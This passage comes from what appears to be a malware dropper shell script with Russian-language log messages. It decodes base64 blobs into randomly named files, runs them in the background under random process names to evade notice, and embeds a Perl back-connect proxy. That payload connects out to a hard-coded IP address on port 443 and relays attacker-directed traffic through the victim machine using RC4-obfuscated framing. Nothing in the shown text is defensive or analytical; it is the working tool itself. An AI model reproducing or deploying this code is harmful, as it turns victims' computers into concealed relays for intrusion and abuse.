fQoJCQoJCSBldmFsIHsKCQkJIAoJCQkgbXkgJHBhZGRyID0gc29ja2FkZHJfaW4oJHBvcnQsIGlu ZXRfYXRvbigkZG9tYWluKSk7CgkJCgkJCSBjb25uZWN0KCRjU29ja2V0LCAkcGFkZHIpOwoJCSAK CQkJIHZlYyhteSAkd2luID0gJycsIGZpbGVubygkY1NvY2tldCksIDEpID0gMTsKCgkJCSB1bmxl c3MgKHNlbGVjdCh1bmRlZiwgJHdpbiwgdW5kZWYsIDEwKSkgeyBnb3RvIGNsb3NlXzsgfQoJCSAK CQkJIGZjbnRsKCRjU29ja2V0LCBGX1NFVEZMLCAwKTsKCQkgCgkJCSBzdWJzdHIoJHJlc3BvbmNl LCA0LCAxKSA9ICJceDAwIjsKCQkgCgkJCSAkX3JldCA9IDE7CgkJCSAKCQkgfTsKCQkgCgkJIGNs b3NlXzoKCQkgCgkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAwLCAzKTsK CQkgCgkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAzLCAxMCk7CgkJIAoJ CSBzeW5zZW5kKCRzU29ja2V0LCAkcmVzcG9uY2UsIE1TR19OT1NJR05BTCk7CgkJIAoJCSBSYzRf Y3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRyZXNwb25jZSwgMCwgMyk7CgkJIAoJCSBpZiAoJF9yZXQg PT0gMSkgewoJCQkgCgkJCSB3aGlsZSAoJCRzb2NrZXRhcnJheVskbnVtXSA9PSAxKSB7CgkJCQkg CgkJCQkgdmVjKG15ICRyaW4gPSAnJywgZmlsZW5vKCRjU29ja2V0KSwgMSkgPSAxOwoJCQkJIAoJ CQkJIHVubGVzcyAoc2VsZWN0KCRyaW4sIHVuZGVmLCB1bmRlZiwgMSkpIHsgbmV4dDsgfQoJCQkJ IAoJCQkJICRkYXRhID0gJyc7CgoJCQkJIHJlY3YoJGNTb2NrZXQsICRkYXRhLCA2NTUzMCwgMCk7 CgkgCgkJCQkgdW5sZXNzICgkZGF0YSkgeyBsYXN0OyB9CgkJCQkgCgkJCQkgJGJ1ZmZlciA9IHBh Y2soJ0MnLCAkbnVtKS5wYWNrKCdTJywgbGVuZ3RoKCRkYXRhKSkuJGRhdGE7CgkJCQkgCgkJCQkg UmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyLCAwLCAzKTsKCQkgCgkJCQkgUmM0X2Ny eXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyLCAzLCBsZW5ndGgoJGRhdGEpKTsKCQkJCSAKCQkJ CSBzeW5zZW5kKCRzU29ja2V0LCAkYnVmZmVyLCBNU0dfTk9TSUdOQUwpOwoJCQkJIAoJCQl9CgkJ fQoJCQoJCSAkJHNvY2tldGFycmF5WyRudW1dID0gMDsKCQkgCgkJIGNsb3NlKCRjU29ja2V0KTsK CQkgCgkJIHN1YnN0cigkcmVzcG9uY2UsIDEsIDIpID0gIlx4MDBceDAwIjsKCQkgCgkJIFJjNF9j cnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAwLCAzKTsKCQkgCgkJIHN5bnNlbmQoJHNT b2NrZXQsIHN1YnN0cigkcmVzcG9uY2UsIDAsIDMpLCBNU0dfTk9TSUdOQUwpOwoJCQogICAgICAg ICB0aHJlYWRzLT5kZXRhY2goKTsKICAgIH0pOwp9CgpzdWIgYmNjbmN0IHsKCgkgbXkgJGhvc3Qg PSBzaGlmdChAXyk7CgkgCgkgbXkgJHBvcnQgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHJlbWFpbmlu ZyA9IDA7CgkgCgkgbXkgJHJlbWFpbmluZzQgPSAwOwoJIAoJIG15IEBzb2NrZXRhcnI7CgkgCgkg bXkgQHNvY2tldGFycmF5IDpzaGFyZWQ7CgkgCgkgbXkgJGJ1ZmZlciA9ICJceDAwIiB4IDEwMDsK CSAKCSBteSAkYnVmZmVybnVsbCA9ICJceDAwIiB4IDM7CgkgCgkgbXkgJGJ1ZmZlcjAgPSAnJzsK CSAKCSBteSAkaXNFeGl0ID0gMDsKCSAKCSBteSAkZWN4ID0gMDsKCSAKCSBteSAkZWF4ID0gMDsK CSAKCSBteSAkZGF0YSA9ICcnOwoJIAoJIG15ICRfcmV0ID0gMDsKCSAKCSBteSAkZWJ4ID0gMDsK CSAKCSBteSAkZWR4ID0gMDsKCSAKCSBzb2NrZXQoJHNvY2tldGFyclswXSwgUEZfSU5FVCwgU09D S19TVFJFQU0sIGdldHByb3RvYnluYW1lKCd0Y3AnKSk7CgkgCgkgc2V0c29ja29wdCgkc29ja2V0 YXJyWzBdLCBJUFBST1RPX1RDUCwgVENQX05PREVMQVksIDEpOwoJIAoJIG15ICRwYWRkciA9IHNv Y2thZGRyX2luKCQkcG9ydCwgaW5ldF9hdG9uKCQkaG9zdCkpOwoJIAoJIHVubGVzcyhjb25uZWN0 KCRzb2NrZXRhcnJbMF0sICRwYWRkcikpIHsgZ290byBjbG9zZTA7IH0KCSAKCSBzdWJzdHIoJGJ1 ZmZlciwgMCwgNTApID0gJHhvcmRhdGE7CgkgCgkgc3Vic3RyKCRidWZmZXIsIDUwLCAyKSA9ICJc eEZGXHhGRiI7CgkgCgkgc3Vic3RyKCRidWZmZXIsIDU0LCAxMSkgPSAiUGVybCBzY3JpcHQiOwoJ IAoJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZlciwgNTAsIDUwKTsKCSAKCSBzZW5k KCRzb2NrZXRhcnJbMF0sICRidWZmZXIsIE1TR19OT1NJR05BTCk7CgkgCgkgd2hpbGUoMSkgewoJ CSAKCQkgaWYgKCRyZW1haW5pbmc0ICE9IDQpIHsKCQkJIAoJCQkgdmVjKG15ICRyaW4gPSAnJywg ZmlsZW5vKCRzb2NrZXRhcnJbMF0pLCAxKSA9IDE7CgkJCSAKCQkJIG15ICRyZXQgPSBzZWxlY3Qo JHJpbiwgdW5kZWYsIHVuZGVmLCA2MCk7CgkJCSAKCQkJIG5leHQgaWYgKCRyZXQgPCAwKTsKCQkJ IAoJCQkgaWYgKCRyZXQgPT0gMCkgewoJCQkJIAoJCQkJIGxhc3QgaWYgKHN1YnN0cigkYnVmZmVy bnVsbCwgMCwgMykgbmUgIlx4MDBceDAwXHgwMCIpOwoJCQkJIAoJCQkJIGxhc3QgaWYgKCRyZW1h aW5pbmcgIT0gMCk7CgkJCQkgCgkJCQkgbGFzdCBpZiAoJHJlbWFpbmluZzQgIT0gMCk7CgkJCQkg CgkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVybnVsbCwgMCwgMyk7CgkJCQkg CgkJCQkgc3luc2VuZCgkc29ja2V0YXJyWzBdLCAkYnVmZmVybnVsbCwgTVNHX05PU0lHTkFMKTsK CQkJCSAKCQkJCSBuZXh0OwoJCQl9CgkJCSAKCQl9CgkJIAoJCSBpZiAoJHJlbWFpbmluZyAhPSAw IHx8ICRyZW1haW5pbmc0ID09IDQpIHsKCQkJIAoJCQkgaWYgKCRlZHggPT0gMCkgewoJCQkJIAoJ CQkJIGlmIChzdWJzdHIoJGJ1ZmZlcjAsIDAsIDEpIGVxICJceEZGIiAmJiBzdWJzdHIoJGJ1ZmZl cjAsIDEsIDEpIGVxICJceEZFIikgewoJCQkJCSAKCQkJCQkgJGlzRXhpdCA9IDE7CgkJCQkJIAoJ CQkJCSBsYXN0OwoJCQkJCSAKCQkJCX0KCQkJCSAKCQkJCSBlbHNpZiAoJGVieCA8IDIwMCAmJiAk ZWJ4ID4gMCkgewoJCQkJIAoJCQkJCSAkc29ja2V0YXJyYXlbJGVieF0gPSAwOwoJCQkJIAoJCQkJ fQoJCQkKCQkJfQoJCQkKCQkJZWxzZSB7CgkJCQkKCQkJCSAkZWN4ID0gJGVkeDsKCQkJCQoJCQkJ ICRlY3ggPSAkZWN4IC0gJHJlbWFpbmluZzsKCQkJCSAKCQkJCSAkZGF0YSA9ICcnOwoJCQkJIAoJ CQkJIHJlY3YoJHNvY2tldGFyclswXSwgJGRhdGEsICRlY3gsIDApOwoJCQkJCgkJCQkgdW5sZXNz ICgkZGF0YSkgeyBsYXN0OyB9CgkJCQkgCgkJCQkgJHJlbWFpbmluZyArPSBsZW5ndGgoJGRhdGEp OwoJCQkJIAoJCQkJICRidWZmZXIwIC49ICRkYXRhOwoJCQkJIAoJCQkJIGlmICgkZWR4ID09ICRy ZW1haW5pbmcpIHsKCQkJCQkgCgkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZl cjAsIDQsICRyZW1haW5pbmcpOwoJCQkJCSAKCQkJCQkgaWYgKHVucGFjaygnQycsIHN1YnN0cigk YnVmZmVyMCwgMCwgMSkpID09IDApIHsKCQkJCQkJIAoJCQkJCQkgc29ja2V0KCRzb2NrZXRhcnJb JGVieF0sIFBGX0lORVQsIFNPQ0tfU1RSRUFNLCBnZXRwcm90b2J5bmFtZSgndGNwJykpOwoJCQkJ CQkgCgkJCQkJCSAkc29ja2V0YXJyYXlbJGVieF0gPSAxOwoJCQkJCQkgCgkJCQkJCSBuZXdDb25u ZWN0aW9uKCRlYngsIFxAc29ja2V0YXJyYXksICRzb2NrZXRhcnJbMF0sICRzb2NrZXRhcnJbJGVi eF0sICRidWZmZXIwKTsKCQkJCQkJIAoJCQkJCX0KCQkJCQkKCQkJCQkgZWxzZSB7CgkJCQkJCSAK CQkJCQkJIHNlbmQoJHNvY2tldGFyclskZWJ4XSwgc3Vic3RyKCRidWZmZXIwLCA0LCAkcmVtYWlu aW5nKSwgTVNHX05PU0lHTkFMKTsKCQkJCQkJIAoJCQkJCX0KCQkJCQkgCgkJCQkJICRyZW1haW5p bmcgPSAwOwoJCQkJfQoJCQkJCgkJCX0KCQkJIAoJCQkgJHJlbWFpbmluZzQgPSAwOwoJCQkgCgkJ fQoJCQoJCWVsc2UgewoJCQkKCQkJIGlmICgkcmVtYWluaW5nNCA9PSAwKSB7ICRidWZmZXIwID0g Jyc7IH0KCQkJCgkJCSAkZWF4ID0gNDsKCQkJCgkJCSAkZWF4ID0gJGVheCAtICRyZW1haW5pbmc0 OwoJCQkgCgkJCSAkZGF0YSA9ICcnOwoJCQkgCgkJCSByZWN2KCRzb2NrZXRhcnJbMF0sICRkYXRh LCAkZWF4LCAwKTsKCQkJIAoJCQkgdW5sZXNzICgkZGF0YSkgeyBsYXN0OyB9CgkJCSAKCQkJICRy ZW1haW5pbmc0ICs9IGxlbmd0aCgkZGF0YSk7CgkJCSAKCQkJICRidWZmZXIwIC49ICRkYXRhOwoJ CQkgCgkJCSAkYnVmZmVybnVsbCA9ICJceDAwIiB4IDM7CgkJCSAKCQkJIGlmICgkcmVtYWluaW5n NCA9PSA0KSB7CgkJCQkgCgkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMCwg MCwgNCk7CgkJCQkgCgkJCQkgJGVieCA9IHVucGFjaygnQycsIHN1YnN0cigkYnVmZmVyMCwgMSwg MSkpOwoJCQkJIAoJCQkJICRlZHggPSB1bnBhY2soJ1MnLCBzdWJzdHIoJGJ1ZmZlcjAsIDIsIDIp KTsKCQkJIAoJCQkJICRfcmV0ID0gMTsKCQkJfQoJCQkKCQl9Cgl9CgkKCSBjbG9zZTA6CgkgCgkg Y2xvc2UoJHNvY2tldGFyclswXSk7CgkgCgkgZm9yIChteSAkaSA9IDA7ICRpIDwgMjAwOyAkaSsr KSB7ICRzb2NrZXRhcnJheVskaV0gPSAwOyB9CgkgCgkgc2xlZXAgMTA7CgkgCgkgaWYgKCRpc0V4 aXQgPT0gMSkgeyBleGl0OyB9CgkgCgkgcmV0dXJuICRfcmV0OwoKfQoKYmNjbmN0KFwkaG9zdCwg XCRwb3J0KTsK BINARY_EOF chmod +x "$EXTRACTED_FILE" RANDOM_PROC_NAME=$(cat /dev/urandom | tr -dc 'a-z0-9' | head -c $RANDOM_NAME_LENGTH) # Определяем тип файла по первой строке (shebang) first_line=$(head -n 1 "$EXTRACTED_FILE") if [[ "$first_line" == *"perl"* ]]; then echo "[RUNNER] Компонент #4 (Perl) -> '$DEPLOY_DIR' под именем '$RANDOM_PROC_NAME'..." (cd "$DEPLOY_DIR" && exec -a "$RANDOM_PROC_NAME" perl ./$PAYLOAD_NAME > /dev/null 2>&1) & else echo "[RUNNER] Компонент #4 (Бинарный) -> '$DEPLOY_DIR' под именем '$RANDOM_PROC_NAME'..." (cd "$DEPLOY_DIR" && exec -a "$RANDOM_PROC_NAME" ./$PAYLOAD_NAME > /dev/null 2>&1) & fi if [ "$first_run" = true ]; then first_run=false; else echo "[RUNNER] Пауза на $PAUSE_SECONDS секунд..." sleep $PAUSE_SECONDS; fi # --- Подготовка и запуск компонента 5 --- DEPLOY_DIR=${candidate_dirs[$dir_index]} PAYLOAD_NAME=$(cat /dev/urandom | tr -dc 'a-z0-9' | head -c 8) EXTRACTED_FILE="$DEPLOY_DIR/$PAYLOAD_NAME" dir_index=$(((dir_index + 1) % dir_count)) base64 -d > "$EXTRACTED_FILE" << 'BINARY_EOF' IyEvdXNyL2Jpbi9wZXJsCgp1c2Ugc3RyaWN0Owp1c2Ugd2FybmluZ3M7CnVzZSBTb2NrZXQ7CnVz ZSBTb2NrZXQgcXcoSVBQUk9UT19UQ1AgVENQX05PREVMQVkpOwp1c2UgRmNudGw7CnVzZSBGY250 bCBxdyg6ZmxvY2spOwp1c2UgdGhyZWFkczsKdXNlIHRocmVhZHM6OnNoYXJlZDsKCm15ICRob3N0 ID0gJzYyLjYwLjEzMS4xOTEnOwpteSAkcG9ydCA9IDQ0MzsKCm15ICR4b3JkYXRhID0gIlx4MDAi IHggNTA7Cgpmb3IgKG15ICRpID0gMDsgJGkgPCA1MDsgJGkrKykgeyBzdWJzdHIoJHhvcmRhdGEs ICRpLCAxKSA9IHBhY2soJ0MnLCByYW5kKDI1NSkpOyB9CgpzdWIgUmM0X2NyeXB0IHsKCSAKCSBt eSAkcGFzc3cgPSBzaGlmdChAXyk7CgkgCgkgbXkgJGxlbmd0aCA9IHNoaWZ0KEBfKTsKCSAKCSBt eSAkYnVmZjAgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHN0YXJ0ID0gc2hpZnQoQF8pOwoJIAoJIG15 ICRzeiA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkcmM0ID0gIlx4MDAiIHggMjU2OwoJIAoJIG15ICRw b2NrZW1vbjAgPSAwOwoJCgkgbXkgJHBvY2tlbW9uMSA9IDA7CgkKCSBteSAkcG9ja2Vtb24yID0g MDsKCQoJIG15ICRwb2NrZW1vbjMgPSAwOwoJCgkgbXkgJHBvY2tlbW9uNCA9IDA7CgkKCSBteSAk cG9ja2Vtb241ID0gMDsKCQoJIG15ICRwb2NrZW1vbjYgPSAwOwoJCgkgbXkgJHBvY2tlbW9uNyA9 IDA7CgkKCSBteSAkcG9ja2Vtb244ID0gMDsKCSAKCSBteSAkcmN4ID0gJHN6OwoJIAoJIG15ICRy c2kgPSAwOwoJIAoJIG15ICRyYnggPSAwOwoJIAoJIG15ICRncyA9IDA7CgkgCgkgbXkgJHQgPSAw OwoJIAoJIGZvciAobXkgJGkgPSAwOyAkaSA8PSAyNTU7ICRpKyspIHsgc3Vic3RyKCRyYzQsICRp LCAxKSA9IHBhY2soJ0MnLCAkaSk7IH0KCSAKCSBkbyB7CgkJIAoJCSBzdWJzdHIoJCRidWZmMCwg JHN0YXJ0ICsgJHJzaSwgMSkgPSBwYWNrKCdDJywgKHVucGFjaygnQycsIHN1YnN0cigkJGJ1ZmYw LCAkc3RhcnQgKyAkcnNpLCAxKSkgXiB1bnBhY2soJ0MnLCBzdWJzdHIoJCRwYXNzdywgJHJieCwg MSkpKSk7CgkJIAoJCSAkcnNpKys7CgkJCgkJICRyYngrKzsKCQkKCQkgJHJjeC0tOwoJCQoJCSBp ZiAoJHJieCA9PSAkbGVuZ3RoKSB7CgkJCSAKCQkJICRyYnggPSAwOwoJCX0KCQkgCgl9IHdoaWxl KCRyY3ggPiAwKTsKCQoJCgkgd2hpbGUoMSkgewoJCSAKCQkgaWYgKCRncyA9PSAwKSB7CgkJCSAK CQkJICRwb2NrZW1vbjIgPSAwOwoKCQkJICRwb2NrZW1vbjMgPSAkbGVuZ3RoOwoJCX0KCQkgCgkJ IGlmICgkZ3MgIT0gMCkgewoJCQkgCgkJCSAkZ3MgPSAwOwoKCQkJICRwb2NrZW1vbjIrKzsKCgkJ CSBpZiAoLS0kcG9ja2Vtb24zID09IDApIHsgbmV4dDsgfQoJCQkgCgkJfQoJCQoJCSAkcG9ja2Vt b243ID0gdW5wYWNrKCdDJywgc3Vic3RyKCRyYzQsICRwb2NrZW1vbjAsIDEpKTsKCQkgCgkJICR0 ID0gdW5wYWNrKCdDJywgc3Vic3RyKCQkcGFzc3csICRwb2NrZW1vbjIsIDEpKTsKCgkJICRwb2Nr ZW1vbjEgKz0gJHQ7CgoJCSAkcG9ja2Vtb24xID0gJHBvY2tlbW9uMSAmIDI1NTsKCgkJICRwb2Nr ZW1vbjEgKz0gJHBvY2tlbW9uNzsKCgkJICRwb2NrZW1vbjEgPSAkcG9ja2Vtb24xICYgMjU1OwoK CQkgJHBvY2tlbW9uNiA9IHVucGFjaygnQycsIHN1YnN0cigkcmM0LCAkcG9ja2Vtb24xLCAxKSk7 CgkJIAoJCSBzdWJzdHIoJHJjNCwgJHBvY2tlbW9uMCwgMSkgPSBwYWNrKCdDJywgJHBvY2tlbW9u Nik7CgkJIAoJCSBzdWJzdHIoJHJjNCwgJHBvY2tlbW9uMSwgMSkgPSBwYWNrKCdDJywgJHBvY2tl bW9uNyk7CgkJIAoJCSAkcG9ja2Vtb24wKys7CgoJCSAkcG9ja2Vtb24wID0gJHBvY2tlbW9uMCAm IDI1NTsKCQkgCgkJIGlmICgkcG9ja2Vtb24wICE9IDApIHsKCQkJIAoJCQkgJGdzID0gMTsKCQkJ IAoJCQkgbmV4dDsKCQl9CgkJCgkJICRwb2NrZW1vbjQgPSAkc3o7CgoJCSAkcG9ja2Vtb24xID0g MDsKCgkJICRwb2NrZW1vbjAgPSAwOwoKCQkgJHBvY2tlbW9uMiA9IDA7CgoJCSAkcG9ja2Vtb24z ID0gMDsKCQkgCgkJIHdoaWxlKDEpIHsKCQkJIAoJCQkgJHBvY2tlbW9uMisrOwoKCQkJICRwb2Nr ZW1vbjIgPSAkcG9ja2Vtb24yICYgMjU1OwoKCQkJICRwb2NrZW1vbjcgPSB1bnBhY2soJ0MnLCBz dWJzdHIoJHJjNCwgJHBvY2tlbW9uMiwgMSkpOwoJCQkgCgkJCSAkcG9ja2Vtb24xICs9ICRwb2Nr ZW1vbjc7CgoJCQkgJHBvY2tlbW9uMSA9ICRwb2NrZW1vbjEgJiAyNTU7CgoJCQkgJHBvY2tlbW9u OCA9IHVucGFjaygnQycsIHN1YnN0cigkcmM0LCAkcG9ja2Vtb24xLCAxKSk7CgoJCQkgc3Vic3Ry KCRyYzQsICRwb2NrZW1vbjIsIDEpID0gcGFjaygnQycsICRwb2NrZW1vbjgpOwoJCSAKCQkJIHN1 YnN0cigkcmM0LCAkcG9ja2Vtb24xLCAxKSA9IHBhY2soJ0MnLCAkcG9ja2Vtb243KTsKCgkJCSAk cG9ja2Vtb244ICs9ICRwb2NrZW1vbjc7CgkKCQkJICRwb2NrZW1vbjggPSAkcG9ja2Vtb244ICYg MjU1OwoKCQkJICRwb2NrZW1vbjAgPSB1bnBhY2soJ0MnLCBzdWJzdHIoJHJjNCwgJHBvY2tlbW9u OCwgMSkpOwoJCQkgCgkJCSAkcG9ja2Vtb241ID0gdW5wYWNrKCdDJywgc3Vic3RyKCQkYnVmZjAs ICRzdGFydCArICRwb2NrZW1vbjMsIDEpKTsKCgkJCSAkcG9ja2Vtb241ID0gJHBvY2tlbW9uNSBe ICRwb2NrZW1vbjA7CgkJCSAKCQkJIHN1YnN0cigkJGJ1ZmYwLCAkc3RhcnQgKyAkcG9ja2Vtb24z LCAxKSA9IHBhY2soJ0MnLCAkcG9ja2Vtb241KTsKCQkJIAoJCQkgJHBvY2tlbW9uMysrOwoJCQkg CgkJCSBpZiAoLS0kcG9ja2Vtb240ID09IDApCgkJCSB7CgkJCQkgbGFzdDsKCQkJIH0KCQkJIAoJ CX0KCQkgCgkJIGxhc3Q7Cgl9CgkKCSAkcnNpID0gMDsKCQoJICRyY3ggPSAkc3o7CgkKCSAkcmJ4 ID0gMDsKCQoJIGRvIHsKCQkgCgkJIHN1YnN0cigkJGJ1ZmYwLCAkc3RhcnQgKyAkcnNpLCAxKSA9 IHBhY2soJ0MnLCAodW5wYWNrKCdDJywgc3Vic3RyKCQkYnVmZjAsICRzdGFydCArICRyc2ksIDEp KSBeIHVucGFjaygnQycsIHN1YnN0cigkJHBhc3N3LCAkcmJ4LCAxKSkpKTsKCQkgCgkJICRyc2kr KzsKCQkKCQkgJHJieCsrOwoJCQoJCSAkcmN4LS07CgkJCgkJIGlmICgkcmJ4ID09ICRsZW5ndGgp IHsKCQkJIAoJCQkgJHJieCA9IDA7CgkJfQoJCSAKCX0gd2hpbGUoJHJjeCA+IDApOwoJCn0KCnN1 YiBzeW5zZW5kIHsKCQkKCSBteSAkY1NvY2tldCA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkYnVmZmVy ID0gc2hpZnQoQF8pOwoJIAoJIG15ICRmbGFncwk9IHNoaWZ0KEBfKTsKCgkgb3BlbihteSAkZmgs ICI8IiwgJy9kZXYvbnVsbCcpOwoKCSBmbG9jaygkZmgsIExPQ0tfRVgpOwoJIAoJICMgPT09PT09 PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT0KCSAKCSBzZW5kKCRjU29j a2V0LCAkYnVmZmVyLCAkZmxhZ3MpOwoJIAoJICMgPT09PT09PT09PT09PT09PT09PT09PT09PT09 PT09PT09PT09PT09PT09PT09PT0KCSAKCSBmbG9jaygkZmgsIExPQ0tfVU4pOwoKCSBjbG9zZSgk ZmgpOwp9CgpzdWIgbmV3Q29ubmVjdGlvbiB7CgkKCW15ICRudW0gPSBzaGlmdChAXyk7CgkKCW15 ICRzb2NrZXRhcnJheSA9IHNoaWZ0KEBfKTsKCQoJbXkgJHNTb2NrZXQgPSBzaGlmdChAXyk7CgkK CW15ICRjU29ja2V0ID0gc2hpZnQoQF8pOwoJCglteSAkYnVmZjAgPSBzaGlmdChAXyk7CgkKICAg IHRocmVhZHMtPmNyZWF0ZSggc3ViIHsKCQkKCQlteSAkcmVzcG9uY2UgPSBwYWNrKCdDJywgJG51 bSkuIlx4MEFceDAwXHgwNVx4MDFceDAwXHgwMVx4MDBceDAwXHgwMFx4MDBceDAwXHgwMCI7CgkJ CgkJbXkgJGRvbWFpbiA9ICcnOwoJCQoJCW15ICRwb3J0ID0gMDsKCQkKCQlteSAkX3JldCA9IDA7 CgkJCgkJbXkgJGRhdGEgPSAnJzsKCQkKCQlteSAkYnVmZmVyID0gJyc7CgkJCgkJc2V0c29ja29w dCgkY1NvY2tldCwgSVBQUk9UT19UQ1AsIFRDUF9OT0RFTEFZLCAxKTsKCQkKCQlmY250bCgkY1Nv Y2tldCwgRl9TRVRGTCwgT19OT05CTE9DSyk7CgkJCgkJaWYgKHVucGFjaygnQycsIHN1YnN0cigk YnVmZjAsIDcsIDEpKSA9PSAzKSB7CgkJCQoJCQkkZG9tYWluID0gc3Vic3RyKCRidWZmMCwgOSwg dW5wYWNrKCdDJywgc3Vic3RyKCRidWZmMCwgOCwgMSkpKTsKCQkJCgkJCSRwb3J0ID0gdW5wYWNr KCdTJywgc3Vic3RyKCRidWZmMCwgOSArIHVucGFjaygnQycsIHN1YnN0cigkYnVmZjAsIDgsIDEp KSArIDEsIDEpLnN1YnN0cigkYnVmZjAsIDkgKyB1bnBhY2soJ0MnLCBzdWJzdHIoJGJ1ZmYwLCA4 LCAxKSkgKyAwLCAxKSk7CgkJCQoJCX0KCQkKCQllbHNpZiAodW5wYWNrKCdDJywgc3Vic3RyKCRi dWZmMCwgNywgMSkpID09IDEpIHsKCQkJCgkJCSRkb21haW4gPSBzcHJpbnRmKCIlZC4lZC4lZC4l ZCIsIHVucGFjaygnQycsIHN1YnN0cigkYnVmZjAsIDggKyAwLCAxKSksIHVucGFjaygnQycsIHN1 YnN0cigkYnVmZjAsIDggKyAxLCAxKSksIHVucGFjaygnQycsIHN1YnN0cigkYnVmZjAsIDggKyAy LCAxKSksIHVucGFjaygnQycsIHN1YnN0cigkYnVmZjAsIDggKyAzLCAxKSkpOwoJCQkKCQkJJHBv cnQgPSB1bnBhY2soJ1MnLCBzdWJzdHIoJGJ1ZmYwLCAxMiArIDEsIDEpLnN1YnN0cigkYnVmZjAs IDEyICsgMCwgMSkpOwoJCQkKCQl9CgkJCgkJZWxzZSB7CgkJCQoJCQkgZ290byBjbG9zZV87CgkJ fQoJCQoJCSBldmFsIHsKCQkJIAoJCQkgbXkgJHBhZGRyID0gc29ja2FkZHJfaW4oJHBvcnQsIGlu ZXRfYXRvbigkZG9tYWluKSk7CgkJCgkJCSBjb25uZWN0KCRjU29ja2V0LCAkcGFkZHIpOwoJCSAK CQkJIHZlYyhteSAkd2luID0gJycsIGZpbGVubygkY1NvY2tldCksIDEpID0gMTsKCgkJCSB1bmxl c3MgKHNlbGVjdCh1bmRlZiwgJHdpbiwgdW5kZWYsIDEwKSkgeyBnb3RvIGNsb3NlXzsgfQoJCSAK CQkJIGZjbnRsKCRjU29ja2V0LCBGX1NFVEZMLCAwKTsKCQkgCgkJCSBzdWJzdHIoJHJlc3BvbmNl LCA0LCAxKSA9ICJceDAwIjsKCQkgCgkJCSAkX3JldCA9IDE7CgkJCSAKCQkgfTsKCQkgCgkJIGNs b3NlXzoKCQkgCgkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAwLCAzKTsK CQkgCgkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAzLCAxMCk7CgkJIAoJ CSBzeW5zZW5kKCRzU29ja2V0LCAkcmVzcG9uY2UsIE1TR19OT1NJR05BTCk7CgkJIAoJCSBSYzRf Y3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRyZXNwb25jZSwgMCwgMyk7CgkJIAoJCSBpZiAoJF9yZXQg PT0gMSkgewoJCQkgCgkJCSB3aGlsZSAoJCRzb2NrZXRhcnJheVskbnVtXSA9PSAxKSB7CgkJCQkg CgkJCQkgdmVjKG15ICRyaW4gPSAnJywgZmlsZW5vKCRjU29ja2V0KSwgMSkgPSAxOwoJCQkJIAoJ CQkJIHVubGVzcyAoc2VsZWN0KCRyaW4sIHVuZGVmLCB1bmRlZiwgMSkpIHsgbmV4dDsgfQoJCQkJ IAoJCQkJICRkYXRhID0gJyc7CgoJCQkJIHJlY3YoJGNTb2NrZXQsICRkYXRhLCA2NTUzMCwgMCk7 CgkgCgkJCQkgdW5sZXNzICgkZGF0YSkgeyBsYXN0OyB9CgkJCQkgCgkJCQkgJGJ1ZmZlciA9IHBh Y2soJ0MnLCAkbnVtKS5wYWNrKCdTJywgbGVuZ3RoKCRkYXRhKSkuJGRhdGE7CgkJCQkgCgkJCQkg UmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyLCAwLCAzKTsKCQkgCgkJCQkgUmM0X2Ny eXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyLCAzLCBsZW5ndGgoJGRhdGEpKTsKCQkJCSAKCQkJ CSBzeW5zZW5kKCRzU29ja2V0LCAkYnVmZmVyLCBNU0dfTk9TSUdOQUwpOwoJCQkJIAoJCQl9CgkJ fQoJCQoJCSAkJHNvY2tldGFycmF5WyRudW1dID0gMDsKCQkgCgkJIGNsb3NlKCRjU29ja2V0KTsK CQkgCgkJIHN1YnN0cigkcmVzcG9uY2UsIDEsIDIpID0gIlx4MDBceDAwIjsKCQkgCgkJIFJjNF9j cnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAwLCAzKTsKCQkgCgkJIHN5bnNlbmQoJHNT b2NrZXQsIHN1YnN0cigkcmVzcG9uY2UsIDAsIDMpLCBNU0dfTk9TSUdOQUwpOwoJCQogICAgICAg ICB0aHJlYWRzLT5kZXRhY2goKTsKICAgIH0pOwp9CgpzdWIgYmNjbmN0IHsKCgkgbXkgJGhvc3Qg PSBzaGlmdChAXyk7CgkgCgkgbXkgJHBvcnQgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHJlbWFpbmlu ZyA9IDA7CgkgCgkgbXkgJHJlbWFpbmluZzQgPSAwOwoJIAoJIG15IEBzb2NrZXRhcnI7CgkgCgkg bXkgQHNvY2tldGFycmF5IDpzaGFyZWQ7CgkgCgkgbXkgJGJ1ZmZlciA9ICJceDAwIiB4IDEwMDsK CSAKCSBteSAkYnVmZmVybnVsbCA9ICJceDAwIiB4IDM7CgkgCgkgbXkgJGJ1ZmZlcjAgPSAnJzsK CSAKCSBteSAkaXNFeGl0ID0gMDsKCSAKCSBteSAkZWN4ID0gMDsKCSAKCSBteSAkZWF4ID0gMDsK CSAKCSBteSAkZGF0YSA9ICcnOwoJIAoJIG15ICRfcmV0ID0gMDsKCSAKCSBteSAkZWJ4ID0gMDsK CSAKCSBteSAkZWR4ID0gMDsKCSAKCSBzb2NrZXQoJHNvY2tldGFyclswXSwgUEZfSU5FVCwgU09D S19TVFJFQU0sIGdldHByb3RvYnluYW1lKCd0Y3AnKSk7CgkgCgkgc2V0c29ja29wdCgkc29ja2V0 